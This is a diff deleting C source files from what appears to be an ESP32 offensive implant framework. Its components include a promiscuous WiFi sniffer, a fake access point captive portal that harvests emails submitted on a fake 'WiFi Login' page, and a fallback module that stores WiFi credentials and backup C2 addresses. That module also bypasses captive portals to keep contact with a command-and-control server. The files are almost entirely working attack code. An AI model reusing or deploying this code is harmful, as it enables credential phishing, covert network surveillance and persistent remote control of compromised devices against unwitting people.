if ((sniff_counter++ % 20) != 0)
return;
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
char src_mac[18];
snprintf(src_mac, sizeof(src_mac),
"%02x:%02x:%02x:%02x:%02x:%02x",
frame[10], frame[11], frame[12],
frame[13], frame[14], frame[15]);
char detail[128];
snprintf(detail, sizeof(detail),
"keyword='%s' payload='%.64s'",
keywords[i], printable);
event_send(
"WIFI_PROBE", "MEDIUM",
src_mac, "0.0.0.0",
0, 0, detail, NULL
);
return;
}
}
}
/* ============================================================
* API
* ============================================================ */
void start_sniffer(void)
{
if (sniffer_running) {
msg_info(TAG, "Sniffer already running", NULL);
return;
}
sniff_counter = 0;
sniffer_running = true;
ESP_ERROR_CHECK(
esp_wifi_set_promiscuous_rx_cb(
wifi_sniffer_packet_handler
)
);
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true));
msg_info(TAG, "WiFi sniffer started", NULL);
}
void stop_sniffer(void)
{
if (!sniffer_running) {
msg_info(TAG, "Sniffer not running", NULL);
return;
}
sniffer_running = false;
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false));
msg_info(TAG, "WiFi sniffer stopped", NULL);
}

View File

@ -1,213 +0,0 @@
#include "esp_log.h"
#include "esp_wifi.h"
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include "lwip/sockets.h"
#include "lwip/inet.h"
#include "esp_http_server.h"
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
#define TAG "CAPTIVE_PORTAL"
/* ============================================================
* Global state
* ============================================================ */
static httpd_handle_t captive_portal_server = NULL;
/* ============================================================
* Helpers
* ============================================================ */
static bool is_already_authenticated(ip4_addr_t ip)
{
for (int i = 0; i < authenticated_count; i++) {
if (authenticated_clients[i].addr == ip.addr) {
return true;
}
}
return false;
}
void mark_authenticated(ip4_addr_t ip)
{
if (is_already_authenticated(ip)) {
ESP_LOGI(TAG, "Client already authenticated: %s",
ip4addr_ntoa(&ip));
return;
}
if (authenticated_count >= MAX_CLIENTS) {
ESP_LOGW(TAG, "Max authenticated clients reached");
return;
}
authenticated_clients[authenticated_count++] = ip;
ESP_LOGI(TAG, "Client authenticated: %s",
ip4addr_ntoa(&ip));
}
/* ============================================================
* Captive portal page
* ============================================================ */
static const char *LOGIN_PAGE =
"<!DOCTYPE html><html><head>"
"<meta charset='utf-8'>"
"<meta name='viewport' content='width=device-width,initial-scale=1'>"
"<title>WiFi Login</title>"
"<style>"
"body{font-family:Arial;background:#f5f5f5;padding:40px}"
".card{max-width:360px;margin:auto;background:#fff;padding:30px;"
"border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.1)}"
"input{width:100%;padding:10px;margin:10px 0}"
"input[type=submit]{background:#007BFF;color:#fff;border:none}"
"</style></head><body>"
"<div class='card'>"
"<h2>Connexion Internet requise</h2>"
"<form method='POST' action='/submit'>"
"<input type='email' name='email' required>"
"<input type='submit' value='Se connecter'>"
"</form></div></body></html>";
/* ============================================================
* HTTP handlers
* ============================================================ */
static esp_err_t captive_portal_handler(httpd_req_t *req)
{
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
getpeername(httpd_req_to_sockfd(req),
(struct sockaddr *)&addr,
&len);
ip4_addr_t client_ip;
client_ip.addr = addr.sin_addr.s_addr;
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
if (is_already_authenticated(client_ip)) {
httpd_resp_set_status(req, "302 Found");
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
httpd_resp_send(req, NULL, 0);
return ESP_OK;
}
httpd_resp_set_type(req, "text/html");
httpd_resp_send(req, LOGIN_PAGE, HTTPD_RESP_USE_STRLEN);
return ESP_OK;
}
static esp_err_t post_handler(httpd_req_t *req)
{
char buf[256];
int recv = httpd_req_recv(req, buf, sizeof(buf) - 1);
if (recv <= 0)
return ESP_FAIL;
buf[recv] = '\0';
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
getpeername(httpd_req_to_sockfd(req),
(struct sockaddr *)&addr,
&len);
ip4_addr_t client_ip;
client_ip.addr = addr.sin_addr.s_addr;
char *email = strstr(buf, "email=");
if (email) {
email += 6;
char *end = strchr(email, '&');
if (end) *end = '\0';
/* Send captured credential as HP| event */
char detail[128];
snprintf(detail, sizeof(detail), "user='%s'", email);
event_send(
"SVC_AUTH_ATTEMPT", "HIGH",
"00:00:00:00:00:00",
ip4addr_ntoa(&client_ip),
0, 80, detail, NULL
);
mark_authenticated(client_ip);
}
httpd_resp_set_status(req, "302 Found");
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
httpd_resp_send(req, NULL, 0);
return ESP_OK;
}
static esp_err_t redirect_handler(httpd_req_t *req)
{
httpd_resp_set_status(req, "302 Found");
httpd_resp_set_hdr(req, "Location", CAPTIVE_PORTAL_URL);
httpd_resp_send(req, NULL, 0);
return ESP_OK;
}
/* ============================================================
* Server control
* ============================================================ */
httpd_handle_t start_captive_portal(void)
{
if (captive_portal_server) {
ESP_LOGW(TAG, "Captive portal already running");
return captive_portal_server;
}
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
config.stack_size = 8192;
config.lru_purge_enable = true;
ESP_LOGI(TAG, "Starting captive portal");
if (httpd_start(&captive_portal_server, &config) != ESP_OK) {
ESP_LOGE(TAG, "Failed to start HTTP server");
return NULL;
}
httpd_uri_t root = {
.uri = "/",
.method = HTTP_GET,
.handler = captive_portal_handler
};
httpd_register_uri_handler(captive_portal_server, &root);
httpd_uri_t submit = {
.uri = "/submit",
.method = HTTP_POST,
.handler = post_handler
};
httpd_register_uri_handler(captive_portal_server, &submit);
httpd_uri_t redirect = {
.uri = "/*",
.method = HTTP_GET,
.handler = redirect_handler
};
httpd_register_uri_handler(captive_portal_server, &redirect);
msg_info(TAG, "Captive portal started", NULL);
return captive_portal_server;
}
void stop_captive_portal(void)
{
if (!captive_portal_server) {
msg_info(TAG, "Captive portal not running", NULL);
return;
}
httpd_stop(captive_portal_server);
captive_portal_server = NULL;
msg_info(TAG, "Captive portal stopped", NULL);
}

View File

@ -1,5 +0,0 @@
idf_component_register(
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
)

View File

@ -1,172 +0,0 @@
/*
* cmd_fallback.c
* Fallback resilient connectivity 3 C2 commands for pre-configuration.
*
* The hunt itself is fully autonomous (no C2 command to start it).
* These commands are for status + pre-loading known networks while connected.
*/
#include "sdkconfig.h"
#include "cmd_fallback.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_hunt.h"
#include "fb_stealth.h"
#define TAG "FB"
/* ============================================================
* COMMAND: fb_status
* Report state, SSID, method, MAC, stored networks count.
* ============================================================ */
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_state_t state = fb_hunt_get_state();
uint8_t mac[6];
fb_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d",
fb_hunt_state_name(state),
fb_hunt_connected_ssid(),
fb_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
fb_config_net_count(),
fb_config_c2_count());
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: fb_net_add <ssid> [pass]
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (fb_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (fb_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: fb_net_list
* List known networks.
* ============================================================ */
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t fb_cmds[] = {
{
.name = "fb_status",
.sub = NULL,
.help = "Fallback state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_status,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_add",
.sub = NULL,
.help = "Add known network: fb_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_fb_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_net_list,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_fallback_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
fb_config_init();
fb_hunt_init();
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
command_register(&fb_cmds[i]);
}
}
#else /* !CONFIG_MODULE_FALLBACK */
void mod_fallback_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -1,8 +0,0 @@
/*
* cmd_fallback.h
* Fallback resilient connectivity module.
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
*/
#pragma once
void mod_fallback_register_commands(void);

View File

@ -1,271 +0,0 @@
/*
* fb_captive.c
* Captive portal detection and bypass strategies.
*
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
* - 204 = no portal (internet open)
* - 200/302 = captive portal detected
*
* Bypass strategies (in order):
* 1. Direct C2 port often not intercepted by portals
* 2. POST accept parse 302 redirect, GET portal accept page
* 3. Wait + retry some portals open after DNS traffic
*/
#include "sdkconfig.h"
#include "fb_captive.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
static const char *TAG = "FB_CAPTIVE";
#define CAPTIVE_TIMEOUT_S 5
#define CAPTIVE_RX_BUF 512
/* ============================================================
* Raw HTTP request to check connectivity
* ============================================================ */
static bool resolve_host(const char *host, struct in_addr *out)
{
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *res = NULL;
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
if (err != 0 || !res) {
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
return false;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
*out = addr->sin_addr;
lwip_freeaddrinfo(res);
return true;
}
static int http_get_status(const char *host, int port, const char *path,
char *location_out, size_t location_cap)
{
struct in_addr ip;
if (!resolve_host(host, &ip)) return 0;
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return 0;
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = ip;
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
lwip_close(s);
return 0;
}
char req[256];
int req_len = snprintf(req, sizeof(req),
"GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0\r\n"
"\r\n",
path, host);
if (lwip_write(s, req, req_len) <= 0) {
lwip_close(s);
return 0;
}
char buf[CAPTIVE_RX_BUF];
int total = 0;
int len;
while (total < (int)sizeof(buf) - 1) {
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
if (len <= 0) break;
total += len;
buf[total] = '\0';
if (strstr(buf, "\r\n\r\n")) break;
}
lwip_close(s);
if (total == 0) return 0;
buf[total] = '\0';
int status = 0;
char *sp = strchr(buf, ' ');
if (sp) {
status = atoi(sp + 1);
}
if (location_out && location_cap > 0) {
location_out[0] = '\0';
char *loc = strstr(buf, "Location: ");
if (!loc) loc = strstr(buf, "location: ");
if (loc) {
loc += 10;
char *end = strstr(loc, "\r\n");
if (end) {
size_t copy_len = end - loc;
if (copy_len >= location_cap) copy_len = location_cap - 1;
memcpy(location_out, loc, copy_len);
location_out[copy_len] = '\0';
}
}
}
return status;
}
/* ============================================================
* Captive portal detection
* ============================================================ */
fb_portal_status_t fb_captive_detect(void)
{
ESP_LOGI(TAG, "Checking for captive portal...");
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "No captive portal (got 204)");
return FB_PORTAL_NONE;
}
if (status == 200 || status == 302 || status == 301) {
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
return FB_PORTAL_DETECTED;
}
if (status == 0) {
status = http_get_status(
"captive.apple.com", 80,
"/hotspot-detect.html", NULL, 0);
if (status == 200) {
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
return FB_PORTAL_DETECTED;
}
ESP_LOGW(TAG, "Connectivity check failed (no response)");
return FB_PORTAL_UNKNOWN;
}
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
return FB_PORTAL_DETECTED;
}
/* ============================================================
* Captive portal bypass
* ============================================================ */
bool fb_captive_bypass(void)
{
ESP_LOGI(TAG, "Attempting captive portal bypass...");
/* Strategy 1: Direct C2 port */
{
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s >= 0) {
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(CONFIG_SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
lwip_close(s);
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
return true;
}
lwip_close(s);
}
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
}
/* Strategy 2: Follow redirect + GET accept page */
{
char location[256] = {0};
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", location, sizeof(location));
if ((status == 302 || status == 301) && location[0]) {
ESP_LOGI(TAG, "Portal redirect to: %s", location);
char *host_start = strstr(location, "://");
if (host_start) {
host_start += 3;
char *path_start = strchr(host_start, '/');
char host_buf[64] = {0};
if (path_start) {
size_t hlen = path_start - host_start;
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
memcpy(host_buf, host_start, hlen);
} else {
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
path_start = "/";
}
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
ESP_LOGI(TAG, "Portal page status: %d", p_status);
vTaskDelay(pdMS_TO_TICKS(2000));
int check = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (check == 204) {
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
return true;
}
}
}
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
}
/* Strategy 3: Wait + retry */
{
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
vTaskDelay(pdMS_TO_TICKS(10000));
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
return true;
}
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
}
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
return false;
}
#else /* !CONFIG_MODULE_FALLBACK */
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
bool fb_captive_bypass(void) { return false; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -1,24 +0,0 @@
/*
* fb_captive.h
* Captive portal detection and bypass strategies.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FB_PORTAL_NONE, /* No captive portal — internet is open */
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
} fb_portal_status_t;
fb_portal_status_t fb_captive_detect(void);
bool fb_captive_bypass(void);
#ifdef __cplusplus
}
#endif

View File

@ -1,454 +0,0 @@
/*
* fb_config.c
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
* Namespace: "fb_cfg" auto-migrates from old "rt_cfg" on first boot.
*/
#include "sdkconfig.h"
#include "fb_config.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "nvs.h"
#include "esp_log.h"
#include "esp_wifi.h"
static const char *TAG = "FB_CFG";
static const char *NVS_NS = "fb_cfg";
/* ============================================================
* NVS migration from old rt_cfg namespace
* ============================================================ */
static void migrate_from_rt_cfg(void)
{
nvs_handle_t old_h, new_h;
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
return; /* No old data */
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
nvs_close(old_h);
return;
}
/* Check if already migrated */
int32_t new_count = -1;
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
nvs_close(old_h);
nvs_close(new_h);
return;
}
/* Copy network count */
int32_t old_count = 0;
nvs_get_i32(old_h, "rt_count", &old_count);
nvs_set_i32(new_h, "fb_count", old_count);
/* Copy each network entry */
char key[16];
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
char buf[FB_PASS_MAX_LEN];
size_t len;
snprintf(key, sizeof(key), "n_%d", i);
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
snprintf(key, sizeof(key), "p_%d", i);
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy C2 fallbacks */
int32_t c2_count = 0;
nvs_get_i32(old_h, "c2_count", &c2_count);
nvs_set_i32(new_h, "c2_count", c2_count);
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
char buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(key, sizeof(key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
nvs_set_str(new_h, key, buf);
}
/* Copy original MAC */
uint8_t mac[6];
size_t mac_len = 6;
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
nvs_set_blob(new_h, "orig_mac", mac, 6);
nvs_commit(new_h);
nvs_close(old_h);
nvs_close(new_h);
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
(int)old_count, (int)c2_count);
}
/* ============================================================
* Init
* ============================================================ */
void fb_config_init(void)
{
migrate_from_rt_cfg();
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Known WiFi networks
* ============================================================ */
static void net_key_ssid(int idx, char *out, size_t len)
{
snprintf(out, len, "n_%d", idx);
}
static void net_key_pass(int idx, char *out, size_t len)
{
snprintf(out, len, "p_%d", idx);
}
int fb_config_net_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_net_list(fb_network_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
char key[16];
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_network_t));
net_key_ssid(i, key, sizeof(key));
size_t len = FB_SSID_MAX_LEN;
nvs_get_str(h, key, out[i].ssid, &len);
net_key_pass(i, key, sizeof(key));
len = FB_PASS_MAX_LEN;
nvs_get_str(h, key, out[i].pass, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_net_add(const char *ssid, const char *pass)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
/* Check if SSID already exists → update */
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
net_key_pass(i, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Updated network '%s'", ssid);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
nvs_close(h);
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
return false;
}
net_key_ssid(count, key, sizeof(key));
nvs_set_str(h, key, ssid);
net_key_pass(count, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
count++;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
return true;
}
bool fb_config_net_remove(const char *ssid)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "fb_count", &count);
int found = -1;
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[FB_SSID_MAX_LEN] = {0};
size_t len = FB_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift entries down */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16];
char buf[FB_PASS_MAX_LEN];
size_t len;
net_key_ssid(i + 1, src_key, sizeof(src_key));
net_key_ssid(i, dst_key, sizeof(dst_key));
len = FB_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
net_key_pass(i + 1, src_key, sizeof(src_key));
net_key_pass(i, dst_key, sizeof(dst_key));
len = FB_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
net_key_ssid(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
net_key_pass(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "fb_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
return true;
}
/* ============================================================
* C2 fallback addresses
* ============================================================ */
int fb_config_c2_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
nvs_close(h);
return (int)count;
}
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(fb_c2_addr_t));
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
size_t len = FB_ADDR_MAX_LEN;
nvs_get_str(h, key, out[i].addr, &len);
}
nvs_close(h);
return (int)count;
}
bool fb_config_c2_add(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
nvs_close(h);
return true;
}
}
}
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
nvs_close(h);
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
return false;
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)count);
nvs_set_str(h, key, addr);
count++;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
bool fb_config_c2_remove(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
int found = -1;
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[FB_ADDR_MAX_LEN] = {0};
size_t len = FB_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
size_t len = FB_ADDR_MAX_LEN;
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
/* ============================================================
* Original MAC storage
* ============================================================ */
void fb_config_save_orig_mac(void)
{
uint8_t mac[6];
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
ESP_LOGW(TAG, "Failed to read STA MAC");
return;
}
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return;
nvs_set_blob(h, "orig_mac", mac, 6);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
bool fb_config_get_orig_mac(uint8_t mac[6])
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return false;
size_t len = 6;
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
nvs_close(h);
return (err == ESP_OK && len == 6);
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -1,66 +0,0 @@
/*
* fb_config.h
* NVS-backed known networks + C2 fallback addresses.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
#endif
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
#define CONFIG_FB_MAX_C2_FALLBACKS 4
#endif
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
/* ============================================================
* Known WiFi networks
* ============================================================ */
typedef struct {
char ssid[FB_SSID_MAX_LEN];
char pass[FB_PASS_MAX_LEN];
} fb_network_t;
